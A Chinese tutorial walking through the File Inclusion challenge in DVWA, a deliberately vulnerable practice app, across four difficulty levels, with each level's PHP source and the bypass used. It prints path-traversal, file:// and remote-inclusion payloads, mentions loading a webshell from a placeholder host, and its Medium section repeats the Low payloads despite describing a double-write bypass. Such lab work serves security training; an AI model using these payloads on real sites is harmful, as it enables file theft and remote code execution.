DVWA-File Inclusion通关教程-完结

DVWA-File Inclusion通关教程-完结

文章目录

页面功能

点击页面上提供的三个页面,单击这些文件就会显示其执行内容,同时发现提交是由GET方式进行,使用page参数传参。



Low

源码审计

复制代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

源码很简单,用 GET 方法接收文件路径,然后将其包含进来。服务器包含文件时,无论文件是否是 PHP 文件,都会尝试当做 PHP 文件来执行。如果文件内容确实是 PHP 文件,则会正常执行并返回结果,如果不是则会将文件内容回显到网页中,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

page 参数指的是文件路径,因此我们先传个不存在的文件名测试一下,看看有没有报错信息。传递page参数为 1.php,靶场报错并返回了文件所在的路径。

因此我们直接用相对路径,访问上两级文件夹下的 phpinfo.php 文件,构造出 payload。

如果远程包含一个一句话木马文件,则可以使用蚁剑或中国菜刀进行连接。

复制代码
?page=..\..\phpinfo.php	//本地文件包含
?page=http://ip//aaa/a.php	//远程文件包含

Medium

源码审计

复制代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

代码增加了 str_replace 函数对 page 参数进行了过滤。将 "http://"、"https://"替换为空阻止远程包含漏洞,将".../"、"...\" 替换为空阻止用相对路径访问文件。

漏洞利用

代码使用 str_replace函数 对http://https:// 进行了过滤,防止了远程包含漏洞的产生,同时也过滤了 .../ ...\ 防止攻击者进行目录切换。

但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。

复制代码
?page=..\..\phpinfo.php	//本地文件包含
?page=http://ip//aaa/a.php	//远程文件包含

High

源码审计

代码中使用了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

利用该特点,在Windows平台下可以使用file协议绕过防护策略

注意:fnmatch 函数适用于 PHP >= 4.3.0,因此 php 版本高于这个才能利用

复制代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

漏洞利用

以此可以构造url,进行读取服务器的配置文件

复制代码
?page=file://E:/phpStudy/WWW/DVWA/php.ini

Impossible

源码审计

代码使用了白名单机制防御文件包含漏洞,如果不是代码中的这些文件名,则一律进行报错显示。

复制代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>
相关推荐
寻觅神话061 小时前
Android 应用常见安全问题
安全·android安全·owasp masvs
车载测试工程师1 小时前
汽车功能安全-嵌入式软件测试(软件合格性测试)【目的、验证输入、集成&验证要求】11
功能测试·网络协议·测试工具·安全·车载系统·汽车·测试覆盖率
执笔诉情殇〆2 小时前
前后端分离(java) 和 Nginx在服务器上的完整部署方案(redis、minio)
java·服务器·redis·nginx·minio
宇钶宇夕3 小时前
S7-1200 系列 PLC 中 SCL 语言的 PEEK 和 POKE 指令使用详解
运维·服务器·数据库·程序人生·自动化
心 一3 小时前
Python 类型注解实战:`Optional` 与安全数据处理的艺术
服务器·python·安全
小lo想吃棒棒糖3 小时前
自动驾驶的“安全基石”:NVIDIA如何用技术守护未来出行
人工智能·安全·自动驾驶
A小码3 小时前
软件开发那些基础事儿:需求、模型与生命周期
运维·服务器
码农12138号4 小时前
BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析
web安全·网络安全·ctf·sql注入·handler·buuctf
Linux运维技术栈4 小时前
企业级配置:Azure 邮件与 Cloudflare 域名解析的安全验证落地详解
运维·安全·flask·azure·cloudflare
这儿有一堆花5 小时前
Nginx服务器集群:横向扩展与集群解决方案
运维·服务器·nginx